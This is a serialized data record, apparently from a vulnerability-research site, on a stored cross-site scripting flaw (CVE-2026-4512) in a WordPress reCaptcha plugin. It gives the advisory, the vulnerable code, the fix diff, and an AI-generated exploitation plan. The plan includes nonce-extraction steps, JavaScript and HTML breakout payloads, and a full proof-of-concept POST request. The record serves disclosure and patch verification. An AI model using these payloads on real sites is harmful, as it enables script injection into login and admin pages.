[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fWCmuHcWQiMpXkM083R6pAZDOzTZeHVAhWSieYv7yG5Q":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":25,"research_verified":26,"research_rounds_completed":27,"research_plan":28,"research_summary":29,"research_vulnerable_code":30,"research_fix_diff":31,"research_exploit_outline":32,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":26,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":26,"source_links":36},"CVE-2026-4512","recaptcha-by-webdesignby-authenticated-administrator-stored-cross-site-scripting","reCaptcha by WebDesignBy \u003C 2.0 - Authenticated (Administrator+) Stored Cross-Site Scripting","The reCaptcha by WebDesignBy plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to 2.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.","webdesignby-recaptcha",null,"\u003C2.0","2.0","medium",4.4,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:H\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-24 00:00:00","2026-04-30 14:36:33",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff3e19202-65f3-4b55-ae41-a30002a84e55?source=api-prod",7,[22,23,24],"README.txt","class\u002FRecaptcha.php","class\u002FRecaptchaOptionsPage.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-4512 - Stored XSS in reCaptcha by WebDesignBy\n\n## 1. Vulnerability Summary\nThe **reCaptcha by WebDesignBy** plugin (versions \u003C 2.0) contains a stored cross-site scripting (XSS) vulnerability. The plugin allows administrators to save Google reCaptcha API keys (`g_site_key` and `g_secret_key`). These inputs are stored in the database without sanitization and are subsequently rendered in the WordPress admin settings page and the WordPress login page without output escaping.\n\nThe vulnerability is particularly significant in multi-site environments or installations where the `unfiltered_html` capability has been disabled for administrators, as it allows persistent script injection into sensitive areas (like the login page) that would otherwise be protected.\n\n## 2. Attack Vector Analysis\n- **Vulnerable Endpoint**: The plugin settings page in the WordPress admin dashboard.\n- **URL**: `\u002Fwp-admin\u002Foptions-general.php?page=webdesignby-recaptcha`\n- **Hook**: `admin_enqueue_scripts` in `class\u002FRecaptcha.php` handles the save logic when `$_POST` is present.\n- **HTTP Parameter**: `webdesignby_recaptcha[g_site_key]` and `webdesignby_recaptcha[g_secret_key]`.\n- **Required Authentication**: Administrator level (specifically users with the `manage_options` capability).\n- **Preconditions**:\n    1. Plugin must be active.\n    2. Attacker must have an account with `manage_options` permissions.\n    3. To demonstrate a bypass of WordPress core protections, `define( 'DISALLOW_UNFILTERED_HTML', true );` should ideally be set in `wp-config.php`, although the lack of escaping is a vulnerability regardless.\n\n## 3. Code Flow\n1. **Input**: In `class\u002FRecaptcha.php`, the `admin_enqueue_scripts()` method is hooked to `admin_enqueue_scripts`. It checks if `$_POST` is not empty.\n2. **Processing**: It retrieves the POST data:\n   ```php\n   $arr_recaptcha_vars = $_POST['webdesignby_recaptcha'];\n   $g_site_key = trim( $arr_recaptcha_vars['g_site_key'] );\n   ```\n   Note that only `trim()` is applied; no `sanitize_text_field()` or similar sanitization occurs.\n3. **Storage**: The values are stored in the options table:\n   ```php\n   update_option('webdesignby_recaptcha', $webdesignby_recaptcha );\n   ```\n4. **Output Sink 1 (JavaScript Context)**: The method `grecaptcha_js()` (in `class\u002FRecaptcha.php`) echoes the value directly into a `\u003Cscript>` block:\n   ```php\n   'sitekey' : '\u003C?php echo $this->_site_key; ?>',\n   ```\n5. **Output Sink 2 (HTML Attribute Context)**: In `class\u002FRecaptchaOptionsPage.php`, the `settings_page()` method echoes the value into an input field's value attribute:\n   ```php\n   value=\"\u003C?php echo trim($opt['g_site_key']); ?>\"\n   ```\n   No `esc_attr()` or `esc_html()` is used.\n\n## 4. Nonce Acquisition Strategy\nThe plugin uses the WordPress Settings API pattern but manually handles the POST request. It uses a nonce for CSRF protection.\n\n- **Nonce Name**: `_wpnonce`\n- **Action String**: `process`\n- **Source**: Generated in `class\u002FRecaptchaOptionsPage.php` via `\u003C?php echo wp_nonce_field('process'); ?>`.\n- **Verification**: Checked in `class\u002FRecaptcha.php` via `check_admin_referer( 'process' );`.\n\n**Acquisition Steps**:\n1. Use `browser_navigate` to go to `\u002Fwp-admin\u002Foptions-general.php?page=webdesignby-recaptcha`.\n2. Use `browser_eval` to extract the nonce:\n   ```javascript\n   document.querySelector('input[name=\"_wpnonce\"]').value\n   ```\n\n## 5. Exploitation Strategy\nThe goal is to inject a payload into `g_site_key` that breaks out of the JavaScript string and executes arbitrary code.\n\n### Step-by-Step Plan:\n1. **Login**: Authenticate as an administrator.\n2. **Navigate**: Visit the settings page to trigger the script loading and obtain the nonce.\n3. **Extract Nonce**: Capture the value of the `_wpnonce` field.\n4. **Execute Payload**: Send a POST request to the settings page with the XSS payload.\n5. **Payload Selection**:\n   - For the JS sink: `');alert(document.domain);\u002F\u002F`\n   - This results in: `'sitekey' : '');alert(document.domain);\u002F\u002F',`\n6. **Trigger Verification**: Navigate to `wp-login.php` or refresh the settings page.\n\n### HTTP Request (PoC):\n```http\nPOST \u002Fwp-admin\u002Foptions-general.php?page=webdesignby-recaptcha HTTP\u002F1.1\nContent-Type: application\u002Fx-www-form-urlencoded\n\n_wpnonce=[EXTRACTED_NONCE]&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwebdesignby-recaptcha&webdesignby_recaptcha%5Bg_site_key%5D=%27%29%3Balert%281%29%3B%2F%2F&webdesignby_recaptcha%5Bg_secret_key%5D=secret&submit=Save+Changes\n```\n\n## 6. Test Data Setup\n1. **User**: Create a user with the `administrator` role.\n2. **Environment Configuration**: (Optional but recommended) Add `define( 'DISALLOW_UNFILTERED_HTML', true );` to `wp-config.php` to prove that the plugin bypasses core security policies.\n3. **Plugin State**: Ensure `webdesignby-recaptcha` is activated.\n\n## 7. Expected Results\n- After sending the POST request, the response should contain the message \"Settings saved\".\n- When visiting `\u002Fwp-login.php`, the injected JavaScript `alert(1)` should execute because the `login_enqueue_scripts` hook calls `grecaptcha_js()`.\n- When viewing the source of `\u002Fwp-login.php`, the following code should be visible:\n  ```javascript\n  var onloadCallback = function() {\n      recaptcha1 = grecaptcha.render('g-recaptcha1', {\n        'sitekey' : '');alert(1);\u002F\u002F',\n        'theme' : 'light'\n      });\n  };\n  ```\n\n## 8. Verification Steps\n1. **Check Database**: Use WP-CLI to verify the stored option:\n   ```bash\n   wp option get webdesignby_recaptcha\n   ```\n   Expect to see the payload `');alert(1);\u002F\u002F` in the `g_site_key` field.\n2. **Verify Output**: Use `http_request` to fetch the login page and check for the presence of the payload:\n   ```bash\n   # Look for the broken sitekey line\n   http_request \"http:\u002F\u002Flocalhost:8080\u002Fwp-login.php\" | grep \"alert(1)\"\n   ```\n\n## 9. Alternative Approaches\nIf the JavaScript breakout `');` is filtered (unlikely given the code), an HTML breakout can be attempted for Sink 2 in the settings page:\n- **Payload**: `\">\u003Cscript>alert(1)\u003C\u002Fscript>`\n- **Target**: `webdesignby_recaptcha[g_site_key]`\n- **Effect**: This will break out of the `value` attribute of the input tag in the admin settings page:\n  ```html\n  \u003Cinput ... value=\"\">\u003Cscript>alert(1)\u003C\u002Fscript>\" \u002F>\n  ```\n- **Verification**: This payload would execute in the admin's browser immediately after saving or upon returning to the settings page.","The reCaptcha by WebDesignBy plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'g_site_key' and 'g_secret_key' parameters due to missing input sanitization and output escaping. Authenticated attackers with administrator-level permissions can inject arbitrary scripts that execute when users access the settings page or the WordPress login page, effectively bypassing unfiltered_html restrictions.","\u002F\u002F class\u002FRecaptcha.php lines 49-55\n        var recaptcha1;\n        var onloadCallback = function() {\n            recaptcha1 = grecaptcha.render('g-recaptcha1', {\n              'sitekey' : '\u003C?php echo $this->_site_key; ?>',\n              'theme' : 'light'\n            });\n\n---\n\n\u002F\u002F class\u002FRecaptcha.php lines 66-68\n                check_admin_referer( 'process' );\n                $arr_recaptcha_vars = $_POST['webdesignby_recaptcha'];\n                $g_site_key = trim( $arr_recaptcha_vars['g_site_key'] );\n                $g_secret_key = trim( $arr_recaptcha_vars['g_secret_key'] );\n\n---\n\n\u002F\u002F class\u002FRecaptchaOptionsPage.php lines 37-38\n                                \u003Cth>\u003Clabel for=\"webdesignby_recaptcha[g_site_key]\">\u003C?php echo __('Site Key', 'webdesignby-recaptcha'); ?>:\u003C\u002Flabel>\u003C\u002Fth>\n                                \u003Ctd>\u003Cinput name=\"webdesignby_recaptcha[g_site_key]\" id=\"g_site_key\" type=\"text\" class=\"regular-text code\" value=\"\u003C?php echo trim($opt['g_site_key']); ?>\" \u002F>\u003C\u002Ftd>","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwebdesignby-recaptcha\u002F1.7\u002Fclass\u002FRecaptchaOptionsPage.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwebdesignby-recaptcha\u002F2.0\u002Fclass\u002FRecaptchaOptionsPage.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwebdesignby-recaptcha\u002F1.7\u002Fclass\u002FRecaptchaOptionsPage.php\t2017-02-08 11:15:46.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwebdesignby-recaptcha\u002F2.0\u002Fclass\u002FRecaptchaOptionsPage.php\t2026-03-26 11:31:24.000000000 +0000\n@@ -20,11 +20,18 @@\n \n                    \n                     $opt = get_option('webdesignby_recaptcha');\n+                    if( ! $opt || ! is_array($opt)){\n+                        $opt = array(\n+                            'g_site_key'    =>  '',\n+                            'g_secret_key'  =>  '',\n+                        );\n+                    }\n                     \n                     \n                     ?>\n                     \u003Ch1>\u003C?php echo __('reCaptcha Settings', 'webdesignby-recaptcha'); ?>\u003C\u002Fh1>\n                     \u003Cp>Generate a new site key and secret at:\u003Cbr \u002F>\u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwww.google.com\u002Frecaptcha\u002Fadmin\" target=\"_blank\">https:\u002F\u002Fwww.google.com\u002Frecaptcha\u002Fadmin\u003C\u002Fa>\u003C\u002Fstrong>\u003C\u002Fp>\n+                    \u003Cp>This plugin is configured to work with reCAPTCHA v2. When you generate your keys, make sure to select the \"reCAPTCHA v2\" option and then select \"I'm not a robot\" Checkbox.\u003C\u002Fp>\n                     \u003C?php\n                     if( ! empty($this->message))\n                         echo $this->message;\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwebdesignby-recaptcha\u002F1.7\u002Fclass\u002FRecaptcha.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwebdesignby-recaptcha\u002F2.0\u002Fclass\u002FRecaptcha.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwebdesignby-recaptcha\u002F1.7\u002Fclass\u002FRecaptcha.php\t2017-02-08 10:49:40.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwebdesignby-recaptcha\u002F2.0\u002Fclass\u002FRecaptcha.php\t2026-03-26 11:31:24.000000000 +0000\n@@ -49,7 +49,7 @@\n         var recaptcha1;\n         var onloadCallback = function() {\n             recaptcha1 = grecaptcha.render('g-recaptcha1', {\n-              'sitekey' : '\u003C?php echo $this->_site_key; ?>',\n+              'sitekey' : \u003C?php echo wp_json_encode( $this->_site_key ); ?>,\n               'theme' : 'light'\n             });\n \n@@ -62,13 +62,13 @@\n \n         $screen = \\get_current_screen();\n         $plugin_screen_id = \"settings_page_webdesignby-recaptcha\";\n+        $g_site_key = $g_secret_key = \"\";\n         if( $screen->id == $plugin_screen_id){\n-            \n              if( ! empty($_POST) ){\n                 check_admin_referer( 'process' );\n                 $arr_recaptcha_vars = $_POST['webdesignby_recaptcha'];\n-                $g_site_key = trim( $arr_recaptcha_vars['g_site_key'] );\n-                $g_secret_key = trim( $arr_recaptcha_vars['g_secret_key'] );\n+                $g_site_key = sanitize_text_field( trim( $arr_recaptcha_vars['g_site_key'] ) );\n+                $g_secret_key = sanitize_text_field( trim( $arr_recaptcha_vars['g_secret_key'] ) );\n                 $webdesignby_recaptcha = array();\n                 $this->_site_key = $webdesignby_recaptcha['g_site_key'] = $g_site_key;\n                 $this->_secret_key = $webdesignby_recaptcha['g_secret_key'] = $g_secret_key;","The exploit target is the plugin's settings page, specifically the handling of Google reCaptcha API keys. \n\n1. Authentication: The attacker must be authenticated as a WordPress Administrator (with 'manage_options' capability).\n2. Nonce Acquisition: Navigate to the settings page at `\u002Fwp-admin\u002Foptions-general.php?page=webdesignby-recaptcha` and extract the CSRF nonce from the `_wpnonce` input field.\n3. Payload Injection: Send a POST request to the same endpoint containing the `_wpnonce` and the `webdesignby_recaptcha[g_site_key]` parameter. Use a payload such as `');alert(1);\u002F\u002F` to break out of the JavaScript string context in the `grecaptcha.render` function.\n4. Execution: The injected script will execute whenever any user visits the WordPress login page (`wp-login.php`) or when an administrator visits the plugin's settings page, as the stored site key is rendered directly into a `\u003Cscript>` block without escaping.","gemini-3-flash-preview","2026-05-04 18:28:59","2026-05-04 18:29:23",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","1.7","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwebdesignby-recaptcha\u002Ftags\u002F1.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwebdesignby-recaptcha.1.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwebdesignby-recaptcha\u002Ftags\u002F2.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwebdesignby-recaptcha.2.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwebdesignby-recaptcha\u002Ftags"]